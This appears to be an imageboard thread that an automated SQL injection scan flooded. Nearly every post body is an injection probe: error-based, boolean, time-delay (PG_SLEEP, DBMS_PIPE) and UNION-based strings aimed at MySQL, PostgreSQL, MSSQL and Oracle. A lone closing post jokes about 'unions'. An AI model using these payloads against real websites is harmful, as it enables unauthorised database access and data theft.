1 (SELECT (CASE WHEN (1907=2918) THEN 1907 ELSE 1907*(SELECT 1907 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) 1/5/2023 22:21:46 No. 386 [Preview] [Reply] report
1 (SELECT (CASE WHEN (2819=2819) THEN 2819 ELSE 2819*(SELECT 2819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) 1/5/2023 22:21:47 No. 387 [Preview] [Reply] report
1 (SELECT (CASE WHEN (8663=6458) THEN 8663 ELSE 8663*(SELECT 8663 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) 1/5/2023 22:21:47 No. 388 [Preview] [Reply] report
1 1) AND (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x7170767171,(SELECT (ELT(4708=4708,1))),0x71766a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (7471=7471 1/5/2023 22:21:47 No. 389 [Preview] [Reply] report
1 1 AND (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x7170767171,(SELECT (ELT(4708=4708,1))),0x71766a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 1/5/2023 22:21:50 No. 390 [Preview] [Reply] report
1 1 AND (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x7170767171,(SELECT (ELT(4708=4708,1))),0x71766a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- ZDId 1/5/2023 22:21:51 No. 391 [Preview] [Reply] report
1 1') AND (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x7170767171,(SELECT (ELT(4708=4708,1))),0x71766a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('mkys'='mkys 1/5/2023 22:21:53 No. 392 [Preview] [Reply] report
1 1' AND (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x7170767171,(SELECT (ELT(4708=4708,1))),0x71766a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ZRDj'='ZRDj 1/5/2023 22:21:54 No. 393 [Preview] [Reply] report
1 1%' AND (SELECT 4708 FROM(SELECT COUNT(*),CONCAT(0x7170767171,(SELECT (ELT(4708=4708,1))),0x71766a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'=' 1/5/2023 22:21:54 No. 394 [Preview] [Reply] report
1 1) AND 2580=CAST((CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (2580=2580) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND (6384=6384 1/5/2023 22:21:55 No. 395 [Preview] [Reply] report
1 1 AND 2580=CAST((CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (2580=2580) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) 1/5/2023 22:21:56 No. 396 [Preview] [Reply] report
1 1 AND 2580=CAST((CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (2580=2580) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)-- UDYl 1/5/2023 22:21:56 No. 397 [Preview] [Reply] report
1 1') AND 2580=CAST((CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (2580=2580) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND ('ZbJI'='ZbJI 1/5/2023 22:21:58 No. 398 [Preview] [Reply] report
1 1' AND 2580=CAST((CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (2580=2580) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND 'WcWt'='WcWt 1/5/2023 22:22:01 No. 399 [Preview] [Reply] report
1 1%' AND 2580=CAST((CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (2580=2580) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND '%'=' 1/5/2023 22:22:04 No. 400 [Preview] [Reply] report
1 1) AND 7293=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (7293=7293) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113))) AND (3859=3859 1/5/2023 22:22:04 No. 401 [Preview] [Reply] report
1 1 AND 7293=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (7293=7293) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113))) 1/5/2023 22:22:08 No. 402 [Preview] [Reply] report
1 1 AND 7293=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (7293=7293) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)))-- WFva 1/5/2023 22:22:08 No. 403 [Preview] [Reply] report
1 1') AND 7293=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (7293=7293) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113))) AND ('zeRM'='zeRM 1/5/2023 22:22:10 No. 404 [Preview] [Reply] report
1 1' AND 7293=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (7293=7293) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113))) AND 'efRa'='efRa 1/5/2023 22:22:12 No. 405 [Preview] [Reply] report
1 1%' AND 7293=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (7293=7293) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113))) AND '%'=' 1/5/2023 22:22:12 No. 406 [Preview] [Reply] report
1 1) AND 7330=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (7330=7330) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND (6194=6194 1/5/2023 22:22:13 No. 407 [Preview] [Reply] report
1 1 AND 7330=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (7330=7330) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) 1/5/2023 22:22:13 No. 408 [Preview] [Reply] report
1 1 AND 7330=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (7330=7330) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)-- jYaW 1/5/2023 22:22:13 No. 409 [Preview] [Reply] report
1 1') AND 7330=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (7330=7330) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND ('DoRs'='DoRs 1/5/2023 22:22:16 No. 410 [Preview] [Reply] report
1 1' AND 7330=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (7330=7330) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'XEhR'='XEhR 1/5/2023 22:22:17 No. 411 [Preview] [Reply] report
1 1%' AND 7330=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113)||(SELECT (CASE WHEN (7330=7330) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND '%'=' 1/5/2023 22:22:18 No. 412 [Preview] [Reply] report
1 (SELECT 4516 FROM(SELECT COUNT(*),CONCAT(0x7170767171,(SELECT (ELT(4516=4516,1))),0x71766a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 1/5/2023 22:22:20 No. 413 [Preview] [Reply] report
1 (SELECT CONCAT(0x7170767171,(SELECT (ELT(1501=1501,1))),0x71766a6b71)) 1/5/2023 22:22:24 No. 414 [Preview] [Reply] report
1 (SELECT (CHR(113)||CHR(112)||CHR(118)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (6788=6788) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(106)||CHR(107)||CHR(113))) 1/5/2023 22:22:25 No. 415 [Preview] [Reply] report
1 (SELECT CHAR(113)+CHAR(112)+CHAR(118)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (9301=9301) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(107)+CHAR(113)) 1/5/2023 22:22:28 No. 416 [Preview] [Reply] report
1 1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(105)||CHR(111)||CHR(80),5) FROM DUAL-- 1/5/2023 22:22:55 No. 432 [Preview] [Reply] report
1 1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(105)||CHR(111)||CHR(80),5) FROM DUAL-- 1/5/2023 22:22:57 No. 433 [Preview] [Reply] report
1 1');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(105)||CHR(111)||CHR(80),5) FROM DUAL-- 1/5/2023 22:22:58 No. 434 [Preview] [Reply] report
1 1';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(105)||CHR(111)||CHR(80),5) FROM DUAL-- 1/5/2023 22:22:58 No. 435 [Preview] [Reply] report
1 1%';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(79)||CHR(105)||CHR(111)||CHR(80),5) FROM DUAL-- 1/5/2023 22:22:59 No. 436 [Preview] [Reply] report
1 1) AND 6781=(SELECT 6781 FROM PG_SLEEP(5)) AND (9917=9917 1/5/2023 22:23:05 No. 443 [Preview] [Reply] report
1 1 AND 6781=(SELECT 6781 FROM PG_SLEEP(5))-- bLbZ 1/5/2023 22:23:06 No. 445 [Preview] [Reply] report
1 1') AND 6781=(SELECT 6781 FROM PG_SLEEP(5)) AND ('cTRO'='cTRO 1/5/2023 22:23:06 No. 446 [Preview] [Reply] report
1 1' AND 6781=(SELECT 6781 FROM PG_SLEEP(5)) AND 'HMFH'='HMFH 1/5/2023 22:23:06 No. 447 [Preview] [Reply] report
1 1%' AND 6781=(SELECT 6781 FROM PG_SLEEP(5)) AND '%'=' 1/5/2023 22:23:07 No. 448 [Preview] [Reply] report
1 1) AND 1728=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(102)||CHR(111)||CHR(69),5) AND (6625=6625 1/5/2023 22:23:14 No. 455 [Preview] [Reply] report
1 1 AND 1728=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(102)||CHR(111)||CHR(69),5) 1/5/2023 22:23:17 No. 456 [Preview] [Reply] report
1 1 AND 1728=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(102)||CHR(111)||CHR(69),5)-- CpxX 1/5/2023 22:23:18 No. 457 [Preview] [Reply] report
1 1') AND 1728=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(102)||CHR(111)||CHR(69),5) AND ('cbmT'='cbmT 1/5/2023 22:23:19 No. 458 [Preview] [Reply] report
1 1' AND 1728=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(102)||CHR(111)||CHR(69),5) AND 'hlWW'='hlWW 1/5/2023 22:23:21 No. 459 [Preview] [Reply] report
1 1%' AND 1728=DBMS_PIPE.RECEIVE_MESSAGE(CHR(67)||CHR(102)||CHR(111)||CHR(69),5) AND '%'=' 1/5/2023 22:23:22 No. 460 [Preview] [Reply] report
1 -6874) UNION ALL SELECT 36,36,36,36,36,36-- xmAI 1/5/2023 22:23:27 No. 468 [Preview] [Reply] report
1 -9264) UNION ALL SELECT 36,36,36,36,36,36,36-- gzIg 1/5/2023 22:23:27 No. 469 [Preview] [Reply] report
1 -4695) UNION ALL SELECT 36,36,36,36,36,36,36,36-- VKmF 1/5/2023 22:23:28 No. 470 [Preview] [Reply] report
1 -8106) UNION ALL SELECT 36,36,36,36,36,36,36,36,36-- PJvy 1/5/2023 22:23:29 No. 471 [Preview] [Reply] report
1 -7405) UNION ALL SELECT 36,36,36,36,36,36,36,36,36,36-- DeBx 1/5/2023 22:23:30 No. 472 [Preview] [Reply] report
1 -7447 UNION ALL SELECT 36,36,36,36,36,36,36-- gRwp 1/5/2023 22:23:41 No. 481 [Preview] [Reply] report
1 -6263 UNION ALL SELECT 36,36,36,36,36,36,36,36-- LUFm 1/5/2023 22:23:42 No. 482 [Preview] [Reply] report
1 -1306 UNION ALL SELECT 36,36,36,36,36,36,36,36,36-- gnuj 1/5/2023 22:23:42 No. 483 [Preview] [Reply] report
1 -2705 UNION ALL SELECT 36,36,36,36,36,36,36,36,36,36-- yDDO 1/5/2023 22:23:43 No. 484 [Preview] [Reply] report
1 -8886 UNION ALL SELECT 36,36,36,36,36,36,36-- xnnj 1/5/2023 22:23:51 No. 493 [Preview] [Reply] report
1 -3917 UNION ALL SELECT 36,36,36,36,36,36,36,36-- lDHE 1/5/2023 22:23:53 No. 494 [Preview] [Reply] report
1 -8660 UNION ALL SELECT 36,36,36,36,36,36,36,36,36-- miNe 1/5/2023 22:23:54 No. 495 [Preview] [Reply] report
1 -1111 UNION ALL SELECT 36,36,36,36,36,36,36,36,36,36-- rNha 1/5/2023 22:23:56 No. 496 [Preview] [Reply] report
1 -9089') UNION ALL SELECT 36,36,36,36,36,36-- HThk 1/5/2023 22:24:02 No. 504 [Preview] [Reply] report
1 -8041') UNION ALL SELECT 36,36,36,36,36,36,36-- LWoV 1/5/2023 22:24:03 No. 505 [Preview] [Reply] report
1 -5312') UNION ALL SELECT 36,36,36,36,36,36,36,36-- upYb 1/5/2023 22:24:05 No. 506 [Preview] [Reply] report
1 -7864') UNION ALL SELECT 36,36,36,36,36,36,36,36,36-- SkRZ 1/5/2023 22:24:06 No. 507 [Preview] [Reply] report
1 -5578') UNION ALL SELECT 36,36,36,36,36,36,36,36,36,36-- LkQo 1/5/2023 22:24:07 No. 508 [Preview] [Reply] report
1 -2150' UNION ALL SELECT 36,36,36,36,36,36-- hqGR 1/5/2023 22:24:20 No. 516 [Preview] [Reply] report
1 -6430' UNION ALL SELECT 36,36,36,36,36,36,36-- qOvn 1/5/2023 22:24:21 No. 517 [Preview] [Reply] report
1 -5891' UNION ALL SELECT 36,36,36,36,36,36,36,36-- bDFd 1/5/2023 22:24:23 No. 518 [Preview] [Reply] report
1 -8939' UNION ALL SELECT 36,36,36,36,36,36,36,36,36-- WPzq 1/5/2023 22:24:26 No. 519 [Preview] [Reply] report
1 -3094' UNION ALL SELECT 36,36,36,36,36,36,36,36,36,36-- WMMA 1/5/2023 22:24:28 No. 520 [Preview] [Reply] report
1 -5970%' UNION ALL SELECT 36,36,36,36,36,36-- VYVI 1/5/2023 22:24:37 No. 528 [Preview] [Reply] report
1 -7670%' UNION ALL SELECT 36,36,36,36,36,36,36-- quCt 1/5/2023 22:24:37 No. 529 [Preview] [Reply] report
1 -3355%' UNION ALL SELECT 36,36,36,36,36,36,36,36-- YBZW 1/5/2023 22:24:39 No. 530 [Preview] [Reply] report
1 -2107%' UNION ALL SELECT 36,36,36,36,36,36,36,36,36-- RKfN 1/5/2023 22:24:40 No. 531 [Preview] [Reply] report
1 -4643%' UNION ALL SELECT 36,36,36,36,36,36,36,36,36,36-- nYWJ 1/5/2023 22:24:40 No. 532 [Preview] [Reply] report
1 -2385) UNION ALL SELECT 36,36,36,36,36,36,36,36# 1/5/2023 22:24:44 No. 542 [Preview] [Reply] report
1 -3146) UNION ALL SELECT 36,36,36,36,36,36,36,36,36# 1/5/2023 22:24:45 No. 543 [Preview] [Reply] report
1 -2530) UNION ALL SELECT 36,36,36,36,36,36,36,36,36,36# 1/5/2023 22:24:45 No. 544 [Preview] [Reply] report
1 1) UNION ALL SELECT CONCAT(0x7170767171,0x58686e627542444942714766736d50724b49694470764b56724d5474766d42594c556746526d5557,0x71766a6b71),36# 1/5/2023 22:24:46 No. 545 [Preview] [Reply] report
1 1) UNION ALL SELECT 36,CONCAT(0x7170767171,0x46436e6b666d53484d6b47417a6f756444436c6b596e515343786a4f625451454c58797643675450,0x71766a6b71)# 1/5/2023 22:24:48 No. 546 [Preview] [Reply] report
1 1) UNION ALL SELECT CONCAT(0x7170767171,0x46597a474c45466a4946,0x71766a6b71),36# 1/5/2023 22:24:48 No. 547 [Preview] [Reply] report
1 1) UNION ALL SELECT 36,CONCAT(0x7170767171,0x4e5654714f6c53796541,0x71766a6b71)# 1/5/2023 22:24:50 No. 548 [Preview] [Reply] report
1 -9032) UNION ALL SELECT CONCAT(0x7170767171,0x72595a6671414a47594a5a5973645674786a6570704b636c58486c464659736446736b47776a6165,0x71766a6b71),36# 1/5/2023 22:24:53 No. 549 [Preview] [Reply] report
1 -8257) UNION ALL SELECT 36,CONCAT(0x7170767171,0x4b6c6f6544474e574b4d636146714547746176515265647873536343455075446d55414f4c6b6448,0x71766a6b71)# 1/5/2023 22:24:54 No. 550 [Preview] [Reply] report
1 -6540) UNION ALL SELECT CONCAT(0x7170767171,0x734f765a456142544a75,0x71766a6b71),36# 1/5/2023 22:24:55 No. 551 [Preview] [Reply] report
1 -9555) UNION ALL SELECT 36,CONCAT(0x7170767171,0x6b50474c61434742466e,0x71766a6b71)# 1/5/2023 22:24:56 No. 552 [Preview] [Reply] report
1 -9119 UNION ALL SELECT 36,36,36,36,36,36,36,36,36# 1/5/2023 22:25:12 No. 563 [Preview] [Reply] report
1 -3977 UNION ALL SELECT 36,36,36,36,36,36,36,36,36,36# 1/5/2023 22:25:13 No. 564 [Preview] [Reply] report
anonymous 7/20/2023 09:16:23 No. 570 [Preview] [Reply] report Minor setback with the unions, but labor laws prevented them from doing any real harm.